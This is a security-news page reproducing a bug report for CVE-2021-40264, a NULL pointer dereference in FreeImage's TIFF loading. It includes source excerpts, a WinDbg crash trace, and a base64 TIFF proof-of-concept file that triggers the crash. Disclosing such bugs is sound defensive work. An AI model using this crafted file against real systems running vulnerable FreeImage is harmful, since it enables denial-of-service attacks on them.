Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-40264: FreeImage / Bugs / #335 A NULL pointer dereference exists in function FreeImage_CloneTag() located in PluginTIFF.cpp

NULL pointer dereference vulnerability in FreeImage before 1.18.0 via the FreeImage_CloneTag function inFreeImageTag.cpp.

CVE
#vulnerability#windows#dos

tl;dr:
When Load TIFF format files, field “StripOffsets” is read from file. If the file compression is OJPEG and “StripOffsets” not exist in TIFF files, FreeImage will try to read nullptr by memcpy().

When the program Open a TIFF format file, it will be handed to the "TIFFFdOpen()" function of the ‘PluginTIFF.cpp’ file,
in "TIFFFdOpen()" functions, it call "TIFFReadDirectory()" function, and it use “hack” code. So field “StripOffsets” will set nullptr sometimes.

int TIFFReadDirectory(TIFF* tif){ … if ((tif->tif_dir.td_compression==COMPRESSION_OJPEG) && (isTiled(tif)==0) && (tif->tif_dir.td_nstrips==1)) { /* * XXX: OJPEG hack. * If a) compression is OJPEG, b) it’s not a tiled TIFF, * and c) the number of strips is 1, * then we tolerate the absence of stripoffsets tag, * because, presumably, all required data is in the * JpegInterchangeFormat stream. */ TIFFSetFieldBit(tif, FIELD_STRIPOFFSETS); … }

When we Load a TIFF format file, it will be handed to the "Load()" function of the ‘PluginTIFF.cpp’ file, it will call FreeImage_CloneTag() with tag ‘StripOffsets’ finally.

FITAG * DLL_CALLCONV FreeImage_CloneTag(FITAG *tag) { if(!tag) return NULL;

// allocate a new tag
FITAG \*clone \= FreeImage\_CreateTag();
if(!clone) return NULL;

try {
    // copy the tag
    FITAGHEADER \*src\_tag \= (FITAGHEADER \*)tag\->data;
    FITAGHEADER \*dst\_tag \= (FITAGHEADER \*)clone\->data;

    // tag ID
    dst\_tag\->id \= src\_tag\->id;
    // tag key
    if(src\_tag\->key) {
        dst\_tag\->key \= (char\*)malloc((strlen(src\_tag\->key) + 1) \* sizeof(char));
        if(!dst\_tag\->key) {
            throw FI\_MSG\_ERROR\_MEMORY;
        }
        strcpy(dst\_tag\->key, src\_tag\->key);
    }
    // tag description
    if(src\_tag\->description) {
        dst\_tag\->description \= (char\*)malloc((strlen(src\_tag\->description) + 1) \* sizeof(char));
        if(!dst\_tag\->description) {
            throw FI\_MSG\_ERROR\_MEMORY;
        }
        strcpy(dst\_tag\->description, src\_tag\->description);
    }
    // tag data type
    dst\_tag\->type \= src\_tag\->type;
    // tag count
    dst\_tag\->count \= src\_tag\->count;
    // tag length
    dst\_tag\->length \= src\_tag\->length;
    // tag value
    switch(dst\_tag\->type) {
        case FIDT\_ASCII:
            dst\_tag\->value \= (BYTE\*)malloc((src\_tag\->length + 1) \* sizeof(BYTE));
            if(!dst\_tag\->value) {
                throw FI\_MSG\_ERROR\_MEMORY;
            }
            memcpy(dst\_tag\->value, src\_tag\->value, src\_tag\->length);
            ((BYTE\*)dst\_tag\->value)\[src\_tag\->length\] \= 0;
            break;
        default:
            dst\_tag\->value \= (BYTE\*)malloc(src\_tag\->length \* sizeof(BYTE));
            if(!dst\_tag\->value) {
                throw FI\_MSG\_ERROR\_MEMORY;
            }
            memcpy(dst\_tag\->value, src\_tag\->value, src\_tag\->length);                    //<---- src\_tag\->value \= nullptr
            break;
    }

    return clone;

} catch(const char \*message) {
    FreeImage\_DeleteTag(clone);
    FreeImage\_OutputMessageProc(FIF\_UNKNOWN, message);
    return NULL;
}

}

So if the file compression is OJPEG and “StripOffsets” not exist in TIFF files, FreeImage will try to read nullptr by memcpy(). It allows an attacker to cause Denial of Service.

windbg:

ModLoad: 10000000 105ee000 D:\temp\_zzz\FreeImage.dll ModLoad: 752b0000 752c4000 C:\Windows\SysWOW64\VCRUNTIME140.dll ModLoad: 755e0000 75643000 C:\Windows\SysWOW64\WS2_32.dll ModLoad: 77050000 7710f000 C:\Windows\SysWOW64\RPCRT4.dll (8558.62d4): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=cbc20000 edx=00000000 esi=77442044 edi=7744260c eip=774e1b72 esp=00aff42c ebp=00aff458 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 774e1b72 cc int 3 0:000> g (8558.62d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for D:\temp\_zzz\FreeImage.dll eax=00000008 ebx=06a8bff8 ecx=00000002 edx=00000008 esi=00000000 edi=0fd44ff8 eip=102a6e77 esp=00aff500 ebp=00aff54c iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212 FreeImage!memcpy+0x507: 102a6e77 8b16 mov edx,dword ptr [esi] ds:002b:00000000=??? 0:000> kv # ChildEBP RetAddr Args to Child
00 00aff504 1006577c 0fd44ff8 00000000 00000008 FreeImage!memcpy+0x507 (FPO: [3,0,2]) (CONV: cdecl) [d:\agent\_work\4\s\src\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 657] 01 00aff54c 10003dd0 0fd3efe8 00000001 0fd32ff8 FreeImage!FreeImage_CloneTag+0x13c 02 00aff590 1006ba21 00000001 06a87ff8 0fd36ff0 FreeImage!FreeImage_SetMetadata+0x3c0 03 00aff5d8 1006bb17 06a87ff8 1006bccd 06a87ff8 FreeImage!tiff_read_geotiff_profile+0xa91 (FPO: [Uses EBP] [2,11,4]) 04 00aff634 100356a2 06a87ff8 06a63c88 00aff900 FreeImage!tiff_read_exif_tags+0x47 05 00aff664 10036c8b 06a63c88 06a87ff8 06a52fc8 FreeImage!_TIFFmemcmp+0xae2 06 00aff8ac 1000d9de 00aff900 06a52fc8 105f0700 FreeImage!_TIFFmemcmp+0x20cb (FPO: [5,139,3]) 07 00aff8e0 1000da60 00000012 00aff900 06a52fc8 FreeImage!FreeImage_LoadFromHandle+0x8e (FPO: [Uses EBP] [4,3,2]) 08 00aff90c 00b0107b 00000012 06a4efee 00000000 FreeImage!FreeImage_Load+0x50 (FPO: [3,4,2])

TestFile:

data:image/tiff;base64,SUkqAAgAAAAFAAABAwABAAAAMDAAAAEBAwABAAAAMDAAAAMBAwABAAAABgAAAAYBAwABAAAAAAAAAB4ABAAMAAAABAAAAAAAAAAAAAAAAAA=

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907